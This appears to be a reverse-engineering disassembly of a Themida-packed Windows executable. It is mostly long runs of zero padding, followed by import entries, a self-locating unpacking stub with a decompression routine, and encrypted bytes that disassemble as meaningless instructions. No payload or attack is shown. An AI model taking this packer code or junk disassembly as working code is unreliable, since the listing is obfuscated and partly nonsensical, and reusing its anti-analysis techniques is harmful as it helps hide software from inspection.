0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rsrc___ ends ; Section 3. (virtual address 00112000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00112000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 512000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Ïe',9,']',0 align 10h dd 112050h, 112000h, 3 dup(0) dd 112079h, 11200Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00113000) ; Virtual size : 0010A000 (1089536.) ; Section size in file : 0010A000 (1089536.) ; Offset to raw data for section: 00113000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 513000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0AE95652Ah, 48425h, 5EAE6h, 158172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00579A2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057CF4C SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0057D1C2 SIZE 00000061 BYTES mov eax, 0 pusha or eax, eax jz short loc_513086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_513041 popa jmp short loc_513076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 30h, 51h, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_513041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_513074 loc_51306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51304E ; --------------------------------------------------------------------------- loc_513074: ; CODE XREF: start+57j mov edi, eax loc_513076: ; CODE XREF: start+1Bj jmp loc_513265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11326Ah add ecx, edi jmp short loc_513090 ; --------------------------------------------------------------------------- loc_513086: ; CODE XREF: start+8j mov eax, offset loc_579A2F mov ecx, offset word_51326A loc_513090: ; CODE XREF: start+70j push eax push ecx call sub_51311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_513265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_513132: ; CODE XREF: sub_51311B+7Aj ; sub_51311B+C3j ... add dl, dl jnz short loc_51313B mov dl, [esi] inc esi adc dl, dl loc_51313B: ; CODE XREF: sub_51311B+19j jnb short loc_513127 add dl, dl jnz short loc_513146 mov dl, [esi] inc esi adc dl, dl loc_513146: ; CODE XREF: sub_51311B+24j jnb short loc_513197 xor eax, eax add dl, dl jnz short loc_513153 mov dl, [esi] inc esi adc dl, dl loc_513153: ; CODE XREF: sub_51311B+31j jnb loc_513238 add dl, dl jnz short loc_513162 mov dl, [esi] inc esi adc dl, dl loc_513162: ; CODE XREF: sub_51311B+40j adc eax, eax add dl, dl jnz short loc_51316D mov dl, [esi] inc esi adc dl, dl loc_51316D: ; CODE XREF: sub_51311B+4Bj adc eax, eax add dl, dl jnz short loc_513178 mov dl, [esi] inc esi adc dl, dl loc_513178: ; CODE XREF: sub_51311B+56j adc eax, eax add dl, dl jnz short loc_513183 mov dl, [esi] inc esi adc dl, dl loc_513183: ; CODE XREF: sub_51311B+61j adc eax, eax jz short loc_51318D push edi sub edi, eax mov al, [edi] pop edi loc_51318D: ; CODE XREF: sub_51311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_513132 ; --------------------------------------------------------------------------- loc_513197: ; CODE XREF: sub_51311B:loc_513146j mov eax, 1 loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j add dl, dl jnz short loc_5131A5 mov dl, [esi] inc esi adc dl, dl loc_5131A5: ; CODE XREF: sub_51311B+83j adc eax, eax add dl, dl jnz short loc_5131B0 mov dl, [esi] inc esi adc dl, dl loc_5131B0: ; CODE XREF: sub_51311B+8Ej jb short loc_51319C sub eax, ebx mov ebx, 1 jnz short loc_5131E3 mov ecx, 1 loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j add dl, dl jnz short loc_5131C9 mov dl, [esi] inc esi adc dl, dl loc_5131C9: ; CODE XREF: sub_51311B+A7j adc ecx, ecx add dl, dl jnz short loc_5131D4 mov dl, [esi] inc esi adc dl, dl loc_5131D4: ; CODE XREF: sub_51311B+B2j jb short loc_5131C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_5131E3: ; CODE XREF: sub_51311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j add dl, dl jnz short loc_5131FA mov dl, [esi] inc esi adc dl, dl loc_5131FA: ; CODE XREF: sub_51311B+D8j adc ecx, ecx add dl, dl jnz short loc_513205 mov dl, [esi] inc esi adc dl, dl loc_513205: ; CODE XREF: sub_51311B+E3j jb short loc_5131F1 cmp eax, 7D00h jnb short loc_513228 cmp eax, 500h jb short loc_513223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513223: ; CODE XREF: sub_51311B+F8j cmp eax, 7Fh ja short loc_51322B loc_513228: ; CODE XREF: sub_51311B+F1j add ecx, 2 loc_51322B: ; CODE XREF: sub_51311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513238: ; CODE XREF: sub_51311B:loc_513153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_513259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_513132 ; --------------------------------------------------------------------------- loc_513259: ; CODE XREF: sub_51311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_513265: ; CODE XREF: start:loc_513076j ; start+9Dj jmp loc_579A2F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51326A dw 38E9h ; DATA XREF: start+77o dd 1523518h, 3B22F2FAh, 0CEBB3B84h, 0BEEB1001h, 1EE13522h dd 8401F3AFh, 78B8FF2Ah, 0FE1FE1h, 6D656854h, 0E1616469h dd 0DE96FA1Ah, 7024F31Ch, 0E4D78D03h, 77215C71h, 6552035Eh dd 72617473h, 0C5704199h, 0F378E92Eh, 11AC6F84h, 0EB3B848Bh dd 42B821C8h, 9822EFEAh, 0F2AA1AE1h, 0AB112E36h, 0ACCB5FAFh dd 0A533FCEBh, 0D788AE01h, 4D009D5h, 0D1F524CFh, 9D03A592h dd 8B8EFF10h, 60D442C5h, 815D10E8h, 3527ED00h, 95890615h dd 0D2D6185h, 172AA5B5h, 27E5B2h, 7A9BD83h, 0C748083h dd 29E8728Bh, 1EF1B8E2h, 4470F1C2h, 3E10C724h, 6A062559h dd 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h, 0D5E90A89h dd 214E910h, 7DECA5h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h lodsb out dx, al add al, 5Ah sub edx, 8B003615h fcmovb st, st(7) inc ebp fcom dword ptr [ecx+400EB108h] mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 repne cmp dword ptr [edi+49h], 10h inc dword ptr [esi-1E14BCEEh] db 36h aaa fsub qword ptr [ecx+26h] inc ecx leave retn 4004h ; --------------------------------------------------------------------------- db 46h dd 687CC481h, 0E44902FFh, 458D405Eh, 145D8B80h, 1985C708h dd 0A08D5044h, 0AC3D10Ah, 89411888h, 0BD818A0Bh, 295D2006h dd 4227E375h, 648EBA8Dh, 8A8075C0h, 0F449BB0Eh, 